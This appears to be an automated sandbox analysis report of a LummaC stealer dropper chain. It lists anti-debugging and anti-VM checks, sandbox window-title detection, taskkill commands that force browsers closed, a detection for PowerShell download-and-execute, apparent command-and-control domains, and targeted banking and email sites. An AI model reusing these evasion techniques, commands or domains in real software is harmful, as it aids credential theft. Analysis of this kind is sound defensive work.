Source: 805c374e44.exe, 0000000C.00000003.2086923116.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085894696.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/~$
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: DC91U752866P4RTKEWI6.exe, 00000023.00000002.2485310280.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001E.00000002.2381423248.000001C8AAF40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: num.exe, 0000001F.00000002.2214966614.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW]N
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: 2de90f6e61.exe, 00000021.00000002.2374193496.0000000000B49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWy_
Source: skotes.exe, skotes.exe, 00000006.00000002.1833607152.00000000006A7000.00000040.00000001.01000000.0000000A.sdmp, 1SC0KN6KHBFFEX9LB9FR.exe, 1SC0KN6KHBFFEX9LB9FR.exe, 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmp, 2de90f6e61.exe, 0000000D.00000002.2156285824.0000000001340000.00000040.00000001.01000000.00000010.sdmp, 805c374e44.exe, 0000001C.00000002.2255616561.00000000002CC000.00000040.00000001.01000000.0000000F.sdmp, 2de90f6e61.exe, 00000021.00000002.2380813086.0000000001340000.00000040.00000001.01000000.00000010.sdmp, NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe, 00000022.00000002.2373321537.0000000000657000.00000040.00000001.01000000.0000001C.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000002.2482402309.00000000005D0000.00000040.00000001.01000000.0000001D.sdmp, 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe, 00000025.00000002.2505099164.000000000094A000.00000040.00000001.01000000.0000001E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: R35D5PNQKQVRTA7D.exe, 00000003.00000003.1744192014.0000000001507000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\rm
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: firefox.exe, 0000001B.00000002.2392121489.000001BAA090C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#<
Source: firefox.exe, 00000020.00000002.2372673957.000001A3BC390000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllS
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: 805c374e44.exe, 0000001C.00000002.2261221671.000000000097B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: firefox.exe, 0000001E.00000002.2368246401.000001C8AA66A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2372673957.000001A3BC390000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: firefox.exe, 0000001E.00000002.2368246401.000001C8AA66A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWV^_T
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: firefox.exe, 00000020.00000002.2372673957.000001A3BC390000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK
Source: R35D5PNQKQVRTA7D.exe, 00000003.00000002.1772305156.0000000000657000.00000040.00000001.01000000.00000006.sdmp, LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1832414118.00000000013C0000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.1825529770.00000000006A7000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000006.00000002.1833607152.00000000006A7000.00000040.00000001.01000000.0000000A.sdmp, 1SC0KN6KHBFFEX9LB9FR.exe, 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmp, 2de90f6e61.exe, 0000000D.00000002.2156285824.0000000001340000.00000040.00000001.01000000.00000010.sdmp, 805c374e44.exe, 0000001C.00000002.2255616561.00000000002CC000.00000040.00000001.01000000.0000000F.sdmp, 2de90f6e61.exe, 00000021.00000002.2380813086.0000000001340000.00000040.00000001.01000000.00000010.sdmp, NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe, 00000022.00000002.2373321537.0000000000657000.00000040.00000001.01000000.0000001C.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000002.2482402309.00000000005D0000.00000040.00000001.01000000.0000001D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe

Code function: 3_2_05440D13 rdtsc

3_2_05440D13

Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe

Code function: 7_2_003EB98C LdrInitializeThunk,

7_2_003EB98C

Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: LDYMRYSK15TF568PLM3O1A8XS.exe PID: 5388, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2de90f6e61.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2de90f6e61.exe PID: 2852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DC91U752866P4RTKEWI6.exe PID: 8088, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5736, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe, type: DROPPED

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1503531449.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.1503531449.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.1503531449.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.1503531449.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.1503531449.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.1503531449.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.1503531449.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.1503531449.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe "C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe "C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe "C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000779001\num.exe "C:\Users\user\AppData\Local\Temp\1000779001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: e65c930c15.exe, 0000000E.00000000.2150193297.00000000007E2000.00000002.00000001.01000000.00000011.sdmp, e65c930c15.exe, 00000024.00000000.2356701232.00000000007E2000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000006.00000002.1833607152.00000000006A7000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: pProgram Manager
Source: 805c374e44.exe, 0000001C.00000002.2257305643.0000000000312000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: 1SC0KN6KHBFFEX9LB9FR.exe, 1SC0KN6KHBFFEX9LB9FR.exe, 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: _Program Manager
Source: 2de90f6e61.exe, 0000000D.00000002.2156285824.0000000001340000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: ~Program Manager
Source: firefox.exe, 0000001B.00000002.2379772449.0000002C169FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe

Code function: 7_2_00566944 cpuid

7_2_00566944

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000779001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000779001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

